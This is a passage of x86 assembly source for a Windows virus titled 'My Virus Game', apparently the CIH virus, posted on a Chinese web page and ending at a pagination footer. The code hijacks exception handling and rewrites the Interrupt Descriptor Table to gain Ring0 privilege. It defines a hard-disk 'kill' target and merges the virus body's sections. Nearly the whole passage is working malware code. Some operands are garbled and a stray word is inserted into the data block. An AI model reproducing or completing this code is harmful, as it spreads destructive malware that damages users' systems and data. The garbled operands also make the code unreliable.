db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 逆风者 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h dd 00000000h, VirusSize
OriginalAppEXE ENDS
; **************************************************************************** ; * My Virus Game * ; ****************************************************************************
; ********************************************************* ; * Constant Define * ; *********************************************************
TRUE = 1 FALSE = 0
DEBUG = TRUE
IF DEBUG
FirstKillHardDiskNumber = 82h HookExceptionNumber = 06h
ELSE
FirstKillHardDiskNumber = 81h HookExceptionNumber = 04h
ENDIF
FileNameBufferSize = 7fh
; ********************************************************* ; *********************************************************
VirusGame SEGMENT
ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame
; ********************************************************* ; * Ring3 Virus Game Initial Program * ; *********************************************************
MyVirusStart: push ebp
; ************************************* ; * Let's Modify Structured Exception * ; * Handing, Prevent Exception Error * ; * Occurrence, Especially in NT. * ; *************************************
lea eax, [esp-04h*2] xor ebx, ebx xchg eax, fs:[ebx] call @0 @0: pop ebx lea ecx, StopToRunVirusCode-@0[ebx] push ecx push eax
; ************************************* ; * Let's Modify * ; * IDT(Interrupt Descriptor Table) * ; * to Get Ring0 Privilege... * ; *************************************
push eax ; sidt [esp-02h] ; Get IDT Base Address pop ebx ; add ebx, HookExceptionNumber*08h 04h ; ZF = 0 cli mov ebp, [ebx] ; Get Exception Base mov bp, [ebx-04h] ; Entry Point lea esi, MyExceptionHook-@1[ecx] push esi mov [ebx-04h], si ; shr esi, 16 ; Modify Exception mov [ebx 02h], si ; Entry Point Address pop esi
; ************************************* ; * Generate Exception to Get Ring0 * ; *************************************
int HookExceptionNumber ; GenerateException ReturnAddressOfEndException = $
; ************************************* ; * Merge All Virus Code Section * ; *************************************
push esi mov esi, eax
LoopOfMergeAllVirusCodeSection:
mov ecx, [eax-04h] rep movsb sub eax, 08h mov esi, [eax] or esi, esi jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1 jmp LoopOfMergeAllVirusCodeSection
QuitLoopOfMergeAllVirusCodeSection:
pop esi
; ************************************* ; * Generate Exception Again * ; *************************************
int HookExceptionNumber ; GenerateException Again
; ************************************* ; * Let's Restore * ; * Structured Exception Handing * ; *************************************
ReadyRestoreSE: sti xor ebx, ebx jmp RestoreSE
; ************************************* ; * When Exception Error Occurs, * ; * Our OS System should be in NT. * 本文章更多内容:<<上一页 - 1 - 2 - 3 - 4 - 5 - 6 - 7 - 8 - 9 - 10 - 11 - 12 - 下一页>> |